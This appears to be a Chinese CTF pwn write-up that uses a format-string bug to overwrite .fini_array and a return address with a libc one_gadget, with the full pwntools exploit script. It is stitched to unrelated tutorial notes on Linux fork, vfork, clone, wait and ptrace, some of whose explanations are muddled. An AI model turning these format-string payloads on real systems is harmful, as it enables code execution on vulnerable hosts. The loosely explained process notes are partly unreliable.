所以这题我们试试修改exit的后续函数。我们跟随ret,来到这个地方调用exit。

img

用gdb调试main函数的时候,不难发现main的返回地址是__libc_start_main也就是说main并不是程序真正开始的地方,__libc_start_main的执行是在main的前面。

可以发现__libc_start_main函数的参数中,有3个是函数指针:

img

其中__libc_csu_fini是在main执行完毕后执行的

程序结束时会调用_fini_array指向的函数指针,所以我们将其修改为main的地址就会循环调用了

简单地说,在main函数后会调用.init段代码和.init_array段的函数数组中每一个函数指针。而我们的目标就是修改.fini_array数组的第一个元素为start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

一种ROP攻击思路

所以这题我们的目的还是要改_fini_array,位于0x403e18-0x403e20的位置

img

我们注意到此处刚好就是这个_fini_array的位置

img

我们改它为我们的main函数地址,同时泄露libc地址和栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')

##################
p.recvuntil("What do you want to buy?")
p.sendline('G')
p.send(b'%150c%8$hhn+%11$p-%13$p')
gdb.attach(p)
p.recvuntil("+0x")
libc_main_start=int(p.recv(12).rjust(16,b'0'),16)-243
p.recvuntil("-0x")
rbp=int(p.recv(12).rjust(16,b'0'),16)-0xe0-0x18

print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))

img

1
2
3
4
p.recvuntil("What do you want to buy?")
p.sendline('G')

p.sendline(b"%"+str(ret1_1).encode()+b"c%13$hn"+b"%2c%29$h

当我们通过_fini__array进入main,我们ret之后会返回一个libc地址,很遗憾这个libc地址和one_gadget还是有点远的。但是我们可以通过下面的两个指针链分别修改两个字节和一个字节就可以达成改libc地址为one_gadget的效果

img

第二次执行main时,如图

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')
p.recvuntil("What do you want to buy?")
p.sendline('G')
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))
print("ret1:",hex(ret1))
print("one0",hex(one0),hex(one[0]))

gdb.attach(p)
p.sendline(b'%'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn")

p.recvuntil("What do you want to buy?")
p.sendline('G')
p.sendline("%p")

之后改成功了

img

0X3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
#p = remote('node4.buuoj.cn',29649)
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi=0x00400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
mprotect_3=0x40127f
ret = 0x4015B4

setone_offset=8
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')

one=[0xe3afe,0xe3b01,0xe3b04]
##################
p.recvuntil("What do you want to buy?")
p.sendline('G')
p.send(b'%150c%8$hhn+%11$p-%13$p')

p.recvuntil("+0x")
libc_main_start=int(p.recv(12).rjust(16,b'0'),16)-243
libcbase=libc_main_start-0x23f90
p.recvuntil("-0x")
rbp=int(p.recv(12).rjust(16,b'0'),16)-0xe0-0x18
ret=rbp+8
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))

for i in range(3):
one[i]+=libcbase

ret1=ret-0xe0
ret1_1=ret1 %0X10000

print("ret1:",hex(ret1))
one0=one[0]&0xffff
one0_0=one[0]>>16 &0xff
one1=one[1]&0xffff
one2=one[2]&0xffff
######################
p.recvuntil("What do you want to buy?")
p.sendline('G')

p.sendline(b"%"+str(ret1_1).encode()+b"c%13$hn"+b"%2c%29$hn")

############################## FINI_ARRAY
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')
p.recvuntil("What do you want to buy?")
p.sendline('G')
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))
print("ret1:",hex(ret1))
print("one0",hex(one0),hex(one[0]))

#gdb.attach(p)
p.sendline(b'%'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn")

p.recvuntil("What do you want to buy?")
p.sendline('G')
p.sendline("%p")

p.interactive()

0x4 小结

应用这两个链改三字节是没想到的,学习

img

参考:linux进程相关函数(获取、销毁、切换···)_储处理器执行的代码-CSDN博客

参考:fork()、vfork()、clone()的区别_linux clone fork-CSDN博客

0x1 从C函数走进子进程

1.1 进程有关概念

1.1.1 进程

程序是指存放指令的文件,存放在磁盘上,它是固定不变的,保存着指令的有序集合

进程是动起来的概念,可以理解成动起来的程序。(回头看看程序员自我修养是如何解释的)

进程时程序的执行过程,它一般分为三种状态:

执行态:该进程正在运行,即正在使用CPU

就绪态:该进程已经具备执行的一切条件,正在等待分配CPU的处理

等待态:进程不能使用CPU,若等待事件发生(等待的资源分配到自身),将其唤醒。

进程的标识号是pid,它来区分不同的进程。

进程0调度进程时,常被称为交换进程,他不执行任何程序,是内核的一部分,因此被称为系统进程。进程除了自身ID外,还有父进程ID,每个进程都有一个父进程,操作系统不会无缘无故产生一个新进程。所有进程的祖先进程都是同一个进程叫做init进程,进程号是1。init进程是内核自举后的第一个启动进程

iniit进程负责引导系统、启动守护(后台)进程并且运行必要的程序。它不是系统进程但是它以系统的超级用户特权运行。

父进程负责子进程空间的清理

并发:宏观上来看,只是因为执行速度快,看起来所有事情同时发生

并行:同时执行,微观上真的同时执行,多个CPU同时执行不同的进程,多个进程真的在同时执行。

同步:相同的步伐,进程间相互联系,或者共同完成某件事,需要相互协调

异步:不同的步伐,进程间毫无关联。

从参考文献中读到这么一句话,发现对进程的描述很恰当。

Linux中,一个人在炒菜,快递打电话来了,让这个人去取快递,他可以叫他的儿子去取快递,自己继续炒菜。从CPU角度来想,由于CPU执行速度较快,看起来任务同时进行(并发进行),这样所有的事情都不耽误,这就是进程的意义。

1.1.2 进程和线程的区别?

​ 进程的四要素:

​ (1)有一段程序供其执行(不一定是一个进程所专有的),就像一场戏必须有自己的剧本。
​ (2)有自己的专用系统堆栈空间(私有财产)
​ (3)有进程控制块(task_struct)(“有身份证,PID”)
​ (4)有独立的存储空间。
​ 缺少第四条的称为线程,如果完全没有用户空间称为内核线程,共享用户空间的称为用户线

1.2 从C语言函数出发


1.2.1 获取进程ID

1
2
3
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);

功能:获取自己的进程ID
参数:
返回值:本进程的ID


1
2
3
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);

功能:获取自己的父进程ID
参数:
返回值:本进程的父进程的ID


1.2.2 创建进程

创建进程主要有三个函数fork vfork clone它们其实都是linux的系统调用,这三个函数分别调用了sys_fork、sys_vfork、sys_clone最终都调用了do_fork函数,差别在于参数的传递和一些基本的准备工作不同。

1.2.2.1 fork

生成一个进程,实际上是把父进程的资源task_struct,除了进程号。

fork只调用一次,但是会在父进程和子进程中分别返回两次,父进程中返回所创建子进程的pid子进程中返回0。在fork()结束后,父进程和子进程的执行顺序不确定(基本是同步运行),由高度程序决定谁先执行。不过可以在父进程中调用wait()等待子进程结束。

说到fork,得提到写时拷贝技术

img

我们都知道fork创建进程的时候,并没有真正的copy内存,因为对于fork来说,有一个exec系列的系统调用,它会勾引子进程另起炉灶。为了不让copy内存造成效率降低,linux引入了“写时复制技术”

换而言之,fork()之后exec之前两个进程用的是相同的物理空间(代码段、数据段、堆栈,仅仅是虚拟空间不同)。当父进程中有更改相应段的行为发生,如果不是因为exec产生,内核会给子进程的相应位置分配物理空间,但是代码段继续共享父进程的物理空间。如果是因为exec,由于两者执行的代码不同,子进程代码段也会分配单独的物理空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char *argv[])
{
int count = 0;

if (fork()) { /* parent */
wait(0);
printf("In parent\n");
} else { /* child */
printf("In child\n");
}
return 0;
}

1.2.2.2 vfork

我们从vfork()的产生原因来理解它会比较容易,因为fork()操作会将当前进程的任何资源几乎完全复制一份,其中包括了地址空间。一般fork()调用后都会跟着调用execve(),用新的内存镜像取代原来的内存镜像,当地址空间很大的时候,复制的操作会很费时,而且又是无用功,所以就产生了vfork。

vfork()产生的子进程与父进程共享地址空间(代码段,数据段,堆栈),就没有了复制产生的开销。而且pid也是相同的。
vfork()保证父进程在子进程调用execve()exit()之前不会执行。

创建出来的进程不是真正意义上的进程,而是一个线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
int count = 0;

printf("count before fork = %d\n", count);
if (vfork()) {
printf("In parent: count = %d\n", count);
} else {
printf("In child: count = %d\n", ++count);
}
exit(0);
}

注意程序不能使用return语句退出(至少子进程不能使用),原因我猜测是
return语句会使得main函数的栈被清空,因为是使用的同一个内存空间,子进程
把栈清空后,父进程的栈就被破坏了,于是就出错了。使用exit()可以避免这个问题。

1.2.2.3 clone()

clone()可以更细粒度与子进程共享资源,因而参数也更复杂,函数原型如下:

1
2
3
int clone(int (*fn)(void *), void *child_stack,
int flags, void *arg, ...
/* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );

根据man 2 clone上的描述,这个原型并不是最底层的调用,而是封装过的。

这里第一个参数fn是函数指针,我们知道进程的4要素,这个就是指向程序的指针,就是“剧本”

child_stack明显是为子进程分配系统堆栈空间(在linux下系统堆栈空间是2页面,就是8K的内存,其中在这块内存中,低地址上放入了值,这个值就是进程控制块task_struct的值),flags就是标志用来描述你需要从父进程继承那些资源, arg就是传给子进程的参数)。下面是flags可以取的值

标志 含义
CLONE_PARENT 创建的子进程的父进程是调用者的父进程,新进程与创建它的进程成了“兄弟”而不是“父子”
CLONE_FS 子进程与父进程共享相同的文件系统,包括root、当前目录、umask
CLONE_FILES 子进程与父进程共享相同的文件描述符(file descriptor)表
CLONE_NEWNS 在新的namespace启动子进程,namespace描述了进程的文件hierarchy
CLONE_SIGHAND 子进程与父进程共享相同的信号处理(signal handler)表
CLONE_PTRACE 若父进程被trace,子进程也被trace
CLONE_VFORK 父进程被挂起,直至子进程释放虚拟内存资源
CLONE_VM 子进程与父进程运行于相同的内存空间
CLONE_PID 子进程在创建时PID与父进程一致
CLONE_THREAD Linux 2.4中增加以支持POSIX线程标准,子进程与父进程共享相同的线程群

下面的例子是创建一个线程(子进程共享了父进程虚存空间,没有自己独立的虚存空间不能称其为进程)。父进程被挂起当子线程释放虚存资源后再继续执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <malloc.h>

#include <sched.h>
#include <signal.h>

#include <sys/types.h>
#include <unistd.h>


#define FIBER_STACK 8192
int a;
void * stack;

int do_something()
{
printf("This is son, the pid is:%d, the a is: %d\n", getpid(), ++a);
free(stack); //这里我也不清楚,如果这里不释放,不知道子线程死亡后,该内存是否会释放,知情者可以告诉下,谢谢
exit(1);
}

int main()
{
void * stack;
a = 1;
stack = malloc(FIBER_STACK);//为子进程申请系统堆栈

if(!stack)
{
printf("The stack failed\n");
exit(0);
}
printf("creating son thread!!!\n");

clone(&do_something, (char *)stack + FIBER_STACK, CLONE_VM|CLONE_VFORK, 0);//创建子线程

printf("This is father, my pid is: %d, the a is: %d\n", getpid(), a);
exit(1);
}

img


1.3 出发的转折点

上面是我们用C语言最基本的进程创建函数。然而进程还有很多关联的东西,比如进程资源的销毁和释放,system和exec和进程的关系,比如每个进程背后的/proc/pid/文件,比如ptrace和wait对进程的追踪和阻塞。为了我们更好的走进子进程,我们一步一步来看这些问题。


1.4 销毁进程

进程的常见的终止方式有5种:

1.4.1 主动

  • main函数的自然返回,注意:return不是结束,只是函数结束,当它刚好结束的是main函数,此时导致进程结束。造成return结束进程的错觉。
  • 调用exit函数 ,标准函数
  • 调用_exit函数 ,系统调用函数
  • 调用abort函数,产生SIGABRT信号

1.4.2 被动

  • 接收到某个信号,如ctrl+cSIGINTctrl+\ SIGOUT
  • 通过kill 向进程发信号
    前四四种正常的终止,后两种非正常的终止,但无论哪种方式,进程终止都会执行相同的关闭打来的文件,释放占用的内存资源,后两种终止会导致程序有些代码不能正常执行,比如对象的析构、atexit函数的执行。
  • exit__exit函数最大的区别在于exit函数退出之前会检查文件的打开情况,把文件缓冲区的内容写回文件,而__exit直接退出,什么意思?比如打开文件向文件写入内容,如果在文件没有关闭,也没有调用同步到磁盘的函数,文件并没有同步到磁盘,只存在缓冲区内,这时调用exit,那么进程结束时,缓冲区的内容可以同步到文件中,内容已经存在在文件之中了,调用__exit进程直接结束,文件不会有写入的内容。

1.4.3 问题

从上面可以看出,我们程序常见的退出出口基本上都会造成进程的销毁,这是必然的设计。


1.5 system和exec


1.5.1 system启动一个新进程

1
2
#include <stdlib.h>
int system(const char *command);

功能:打开命令或者程序
参数:带路径的程序启动文件,或者在启动变量里声明的程序直接写程序名
返回值:-1失败
打开的程序是另一个进程,也可以成为此程序的子进程,因此子进程不一定和父进程视同一个程序,在成功打开所要执行的文件之后,父进程才能继续执行。


1.5.2 进程替换,exec函数族

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,
..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[],
char *const envp[]);

这四个函数第一个参数都是可执行程序或者脚本的程序名,execlexecv需要带有完整的路径,第二参数为任意字符,起到占位作用,第三个或者后面的字符为调用者的参数,参数列表最后以NULL结尾,而execlpexecvp只需要带有可执行程序的名称即可,系统自动去环境变量去寻找同名文件,execlexeclp需要NULL结尾.

函数后缀说明:
l v:参数呈现形式
l:list 参数一个个的列出来
vvector 参数用数组存储起来
p:目标程序,可以省略路径
e:环境变量,不考虑

1.6 wait与ptrace

1.6.1 wait

前面我们知道wait可以等待子进程结束后再执行父进程,其主要起到一个进程同步的作用。

1
2
3
4
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
pid_t waitpid(pid_t pid, int *status, int options);

1.6.1.1 pid_t wait(int *status);

函数返回值为结束子进程的进程号,如果当前进程中没有子进程则返回-1。

参数为子进程结束状态指针,该指针是一个int类型的指针,如果单纯地想等待子进程结束而不关心进程结束状态,参数写入NULL;若想获得子进程结束状态,将参数地址写入即可,例如int statue存储子进程的解释状态,函数调用wait(&statue)即可。

1.6.1.2 pid_t waitpid(pid_t pid, int *status, int options);

第一个参数pid:从参数的名字pid和类型pid_t中就可以看出,这里需要的是一个进程ID。但当pid取不同的值时,在这里有不同的意义。

  • pid>0时,只等待进程ID等于pid的子进程,不管其它已经有多少子进程运行结束退出了,只要指定的子进程还没有结束,waitpid就会一直等下去。
  • pid==-1时,等待任何一个子进程退出,没有任何限制,此时waitpidwait的作用一模一样。
  • pid==0时,等待同一个进程组中的任何子进程,如果子进程已经加入了别的进程组,waitpid不会对它做任何理睬。
  • pid<-1时,等待一个指定进程组中的任何子进程,这个进程组的ID等于pid的绝对值。
    第二个参数与wait相同,存储制定子进程终止的状态信息。为整形指针类型。

第二个参数options:options提供了一些额外的选项来控制waitpid,目前在Liunx中只支持下面三个选项,这是三个常数,可以用”|”运算符把它们连接起来使用。

  • WNOHANG:如果没有子项退出,则立即返回。
  • WUNTRACED:如果 Child 已停止(但未通过 ptrace(2) 跟踪),则返回 Child。 即使未指定此选项,也会提供已停止的跟踪子项的状态。
  • WCONTINUED (since Linux 2.6.10):如果已通过 SIGCONT 的交付恢复了停止的子项,则也会返回

返回值和错误:

waitpid的返回值比wait稍微复杂一些,一共有3种情况:

  • 当正常返回的时候,waitpid返回收集到的子进程的进程ID
  • 如果设置了选项WNOHANG,而调用中waitpid发现没有已退出的子进程可收集,则返回0
  • 如果调用中出错,则返回-1,这时errno会被设置成相应的值以指示错误所在;当pid所指示的子进程不存在,或此进程存在,但不是调用进程的子进程,waitpid就会出错返回,这时errno被设置为ECHILD

1.6.1.3 wstatus状态

接下来简单介绍下wstatus,如果它不是空的,上面提到的两个wait相关函数会在这个int指针上存储状态信息。下面的宏(macros)将整数作为参数。

  • **WIFEXITED(wstatus)**:如果子进程正常终止,即通过调用 exit(3) 或 _exit(2),或者从 main() 返回,则返回 true。

  • **WEXITSTATUS(wstatus)**:返回 Child 的退出状态。 这包括子级在调用 exit(3) 或 _exit(2) 时指定或作为 main() 中 return 语句的参数的 status 参数的最低有效 8 位。 只有在以下情况下,才应使用此宏WIFEXITED 返回 true。

  • **WIFSIGNALED(wstatus)**:如果子进程被 Signal 终止,则返回 true。

  • **WTERMSIG(wstatus)**:返回导致子进程终止的信号的编号。 仅当 WIFSIGNALED 返回 true 时,才应使用此宏。

  • **WCOREDUMP(wstatus)**:如果子对象生成了 core dump,则返回 true(参见 core(5))。 仅当 WIFSIGNALED 返回 true 时,才应使用此宏。

    • 此宏未在 POSIX.1-2001 中指定,并且在某些 UNIX 实现(例如 AIX、SunOS)上不可用。 因此,在 WCOREDUMP 中关闭其使用 #ifdef … #endif。
  • **WIFSTOPPED(wstatus)**:如果子进程因传递信号而停止,则返回 true;仅当调用是使用 WUNTRACED 完成的时,才有可能这样做或者当 child 被追踪时(参见 ptrace(2))。

  • **WSTOPSIG(wstatus)**:返回导致 Child 停止的信号的编号。 仅当 WIFSTOPPED 返回 true 时,才应使用此宏。

  • **WIFCONTINUED(wstatus):**(自 Linux 2.6.10 起)如果子进程通过交付 SIGCONT 恢复,则返回 true。

宏的对应整数

1
2
3
4
5
6
7
8
#define WIFEXITED(status)    (((status) & 0xff) == 0)
#define WEXITSTATUS(status) ((status) >> 8)
#define WIFSIGNALED(status) (((status) & 0x7f) > 0)
#define WTERMSIG(status) ((status) & 0x7f)
#define WCOREDUMP(status) (((status) & 0x80) != 0)
#define WIFSTOPPED(status) (((status) & 0xff) == 0x7f)
#define WSTOPSIG(status) ((status) >> 8)
#define WIFCONTINUED(status) ((((status) & 0xffff) == 0xffff) ? 0 : 1)

比如在 wstatus 的上下文中,掩码 0xb00 可能用于检查以下两种情况:

  1. 子进程是否因为一个信号而停止(WIFSTOPPED),这通常由 0x7f 掩码来检查,但是 0xb00 可以进一步检查是否有特定的停止信号。
  2. 子进程是否产生了核心转储(WCOREDUMP),这通常由 0x80 掩码来检查,但是 0xb00 可以检查更具体的条件。

具体来说,0xb00 掩码检查的是 wstatus 的第 8 位和第 11 位(从最低位开始计数):

  • 第 8 位(10000000):如果设置,表示子进程产生了核心转储。
  • 第 11 位(00010000):这个位的具体含义取决于具体的系统实现,但在许多系统中,它并不用于 waitwaitpid 函数。

1.6.2 ptrace

1.6.2.1 ptrace函数解析

参考:Linux源码分析之Ptrace_特殊进程不可以被跟踪-CSDN博客

参考:威力巨大的系统调用——ptrace - 知乎 (zhihu.com)

ptrace提供了父进程观察和控制另一个进程执行的机制,同时提供查询和修改另一进程的核心image(核心镜像?如何理解)它主要用于断点调试。当进程被中止,会通知父进程,进程的内存空间可以被读写,父进程可以选择子进程继续执行还是中止。

函数原型

1
2
#include <sys/ptrace.h> 
int ptrace(int request, int pid, int addr, int data);
  • request:要执行的操作类型;
  • pid:被追踪的目标进程ID;
  • addr:被监控的目标内存地址;
  • data:保存读取出或者要写入的数据。

Request参数决定了系统调用的功能

请求 作用
PTRACE_TRACEME 本进程被其父进程所跟踪。其父进程应该希望跟踪子进程。
PTRACE_PEEKTEXT, PTRACE_PEEKDATA 从内存地址中读取一个字节,内存地址由addr给出。
PTRACE_PEEKUSR 从USER区域中读取一个字节,偏移量为addr。
PTRACE_POKETEXT, PTRACE_POKEDATA 往内存地址中写入一个字节。内存地址由addr给出。
PTRACE_POKEUSR 往USER区域中写入一个字节。偏移量为addr。
PTRACE_SYSCALL, PTRACE_CONT 重新运行。
PTRACE_KILL 杀掉子进程,使它退出。
PTRACE_SINGLESTEP 设置单步执行标志
PTRACE_ATTACH 跟踪指定pid 进程。
PTRACE_DETACH 结束跟踪

还有一个inter386特有

img

对init进程不可使用此函数

返回值
成功返回0。错误返回-1。errno被设置。

错误
EPERM
特殊进程不可以被跟踪或进程已经被跟踪。
ESRCH
指定的进程不存在
EIO
请求非法


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
/* Type of the REQUEST argument to `ptrace.'  */
enum __ptrace_request
{
/* 跟踪发出此请求的进程,此过程接收的所有信号都可以被其父级拦截,其父级可以使用其他"ptrace"请求 */
PTRACE_TRACEME = 0,


/* 返回进程text空间中,地址ADDR处的word(字) */
PTRACE_PEEKTEXT = 1,


/* 返回进程data空间中,地址ADDR处的word(字) */
PTRACE_PEEKDATA = 2,


/* 返回进程用户区域中,偏移为ADDR的word(字) */
PTRACE_PEEKUSER = 3,


/* 将一字大小的DATA写入进程的text空间,地址为ADDR */
PTRACE_POKETEXT = 4,


/* 将一字大小的DATA写入进程的data空间,地址为ADDR */
PTRACE_POKEDATA = 5,


/* 将一字大小的DATA写入进程的用户区域,偏移量为ADDR */
PTRACE_POKEUSER = 6,


/* 继续该process(进程) */
PTRACE_CONT = 7,


/* 杀死该process(进程) */
PTRACE_KILL = 8,


/* 单步执行该process(进程) */
PTRACE_SINGLESTEP = 9,


/* 附加到正在运行的进程 */
PTRACE_ATTACH = 16,


/* 从附加到'PTRACE_ATTACH'的进程中分离 */
PTRACE_DETACH = 17,


/* 继续并在进入系统调用或从系统调用返回时停止 */
PTRACE_SYSCALL = 24,


/* 设置跟踪筛选器选项 */
PTRACE_SETOPTIONS = 0x4200,


/* 获取最后一条ptrace消息 */
PTRACE_GETEVENTMSG = 0x4201,


/* 获取流程的siginfo(签名信息) */
PTRACE_GETSIGINFO = 0x4202,


/* 为进程设置新的siginfo(签名信息) */
PTRACE_SETSIGINFO = 0x4203,


/* 获取寄存器内容 */
PTRACE_GETREGSET = 0x4204,


/* 设置寄存器内容 */
PTRACE_SETREGSET = 0x4205,


/* 类似于'PTRACE_ATTACH',但不要强迫跟踪trap(陷阱),也不会影响signal(信号)或group stop state(组停止状态) */
PTRACE_SEIZE = 0x4206,


/* 陷阱捕获了tracee */
PTRACE_INTERRUPT = 0x4207,


/* 等待下一个group event(事件组) */
PTRACE_LISTEN = 0x4208,


/* 检索siginfo_t结构,而无需从队列中删除信号 */
PTRACE_PEEKSIGINFO = 0x4209,


/* 获取被阻止信号的掩码 */
PTRACE_GETSIGMASK = 0x420a,


/* 更改被阻止信号的掩码 */
PTRACE_SETSIGMASK = 0x420b,


/* 获取seccomp BPF筛选器 */
PTRACE_SECCOMP_GET_FILTER = 0x420c,


/* 获取seccomp BPF筛选器元数据 */
PTRACE_SECCOMP_GET_METADATA = 0x420d,


/* 获取有关系统调用的信息 */
PTRACE_GET_SYSCALL_INFO = 0x420e

};

1.6.2.2 功能详细描述

1.6.2.2.1 原来

1)PTRACE_TRACEME

形式:ptrace(PTRACE_TRACEME,0 ,0 ,0)
描述:本进程被其父进程所跟踪。其父进程应该希望跟踪子进程。

2)PTRACE_PEEKTEXT, PTRACE_PEEKDATA

形式:ptrace(PTRACE_PEEKTEXT, pid, addr, data)
ptrace(PTRACE_PEEKDATA, pid, addr, data)
描述:从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据。在Linux(i386)中用户代码段与用户数据段重合所以读取代码段和数据段数据处理是一样的。

3)PTRACE_POKETEXT, PTRACE_POKEDATA

形式:ptrace(PTRACE_POKETEXT, pid, addr, data)
ptrace(PTRACE_POKEDATA, pid, addr, data)
描述:往内存地址中写入一个字节。pid表示被跟踪的子进程,内存地址由addr给出,data为所要写入的数据。

4)PTRACE_PEEKUSR

形式:ptrace(PTRACE_PEEKUSR, pid, addr, data)
描述:从USER区域中读取一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为用户变量地址用于返回读到的数据。USER结构为core文件的前面一部分,它描述了进程中止时的一些状态,如:寄存器值,代码、数据段大小,代码、数据段开始地址等。在Linux(i386)中通过PTRACE_PEEKUSER和PTRACE_POKEUSR可以访问USER结构的数据有寄存器和调试寄存器。

5)PTRACE_POKEUSR

形式:ptrace(PTRACE_POKEUSR, pid, addr, data)
描述:往USER区域中写入一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为需写入的数据。

6)PTRACE_CONT

形式:ptrace(PTRACE_CONT, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。

7)PTRACE_SYSCALL

形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。

8)PTRACE_KILL

形式:ptrace(PTRACE_KILL,pid)
描述:杀掉子进程,使它退出。pid表示被跟踪的子进程。

9)PTRACE_SINGLESTEP

形式:ptrace(PTRACE_KILL, pid, 0, signle)
描述:设置单步执行标志,单步执行一条指令。pid表示被跟踪的子进程。signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。当被跟踪进程单步执行完一个指令后,被跟踪进程被中止,并通知父进程。

10)PTRACE_ATTACH

形式:ptrace(PTRACE_ATTACH,pid)
描述:跟踪指定pid 进程。pid表示被跟踪进程。被跟踪进程将成为当前进程的子进程,并进入中止状态。


1.6.2.2.2 I386

12)PTRACE_GETREGS

形式:ptrace(PTRACE_GETREGS, pid, 0, data)
描述:读取寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有17个基本寄存器的值。

13)PTRACE_SETREGS

形式:ptrace(PTRACE_SETREGS, pid, 0, data)
描述:设置寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有17个基本寄存器的值。

14)PTRACE_GETFPREGS

形式:ptrace(PTRACE_GETFPREGS, pid, 0, data)
描述:读取浮点寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有浮点协处理器387的所有寄存器的值。

15)PTRACE_SETFPREGS

形式:ptrace(PTRACE_SETREGS, pid, 0, data)
描述:设置浮点寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有浮点协处理器387的所有寄存器的值。

1.6.3 进程状态值中止状态

在Linux系统中,进程常见的状态有下面这些

S:Interruptible Sleeping,即可中断睡眠;

D:Uninterruptible Sleeping,即不可中断睡眠;

R:Running or Runnable,即运行状态;

Z:Zombie,即僵尸状态

T:Stopped or Traced,即中止状态(注意是中止不是终止)

这里,我们关注点放在T:Stopped or Traced这个类型上。因为Traced类型是由ptrace系统调用提供的一个进程状态。实际上,在某些Linux发行版中,这个类型的进程状态标识符是t而非T


1.6.3.1 Stopped状态

如何能够让一个进程进入到“中止状态”呢?

我们可以通过ctrl+z来中止当前输入程序的运行,然后可以查看进程状态

img

之后再使用fg就可以恢复进程状态

img


1.6.3.2 Traced状态——新手例子

通过ptrace系统调用可以让一个进程进入Traced状态。

  • tracee进程调用ptrace系统调用,并在request参数处传递PTRACE_TRACEME这个值,表示想要被tracer进程追踪。通过这种方式的进程想要进入Traced状态有两种方式:

    • 主动调用exec系列的系统调用;
    • tracer发送进入Traced状态的相关信号。
  • tracer进程调用ptrace系统调用,并在request参数处传递PTRACE_ATTACH这个值,并给出tracee进程的pid,从而让tracee进程进入Traced状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void){
pid_t child;
long orig_rax;
child=fork();
if(child==0){//表示这是子进程,子进程fork返回0
//当前进程会在每次执行系统调用之前暂停,并允许其父进程通过 ptrace 调用来检查和修改它的寄存器、内存等状态,或者继续它的执行。
puts("start move!!!");
ptrace(PTRACE_TRACEME,0,NULL,NULL);//0表示当前进程,参数规定是父进程跟踪
puts("keep moving???");
execl("/bin/ls","ls","-l","-h",NULL);//这里进程被替换了?
puts("/bin/ls ok?");
}
else{//父进程,wait函数会等待子进程执行完再执行父进程
puts("father step1");
wait(NULL);
puts("father step2");
orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
printf("Child process called a system call, id is %ld\n",orig_rax);
ptrace(PTRACE_CONT,child,NULL,NULL);
}
return 0;
}

执行结果如下所示

img

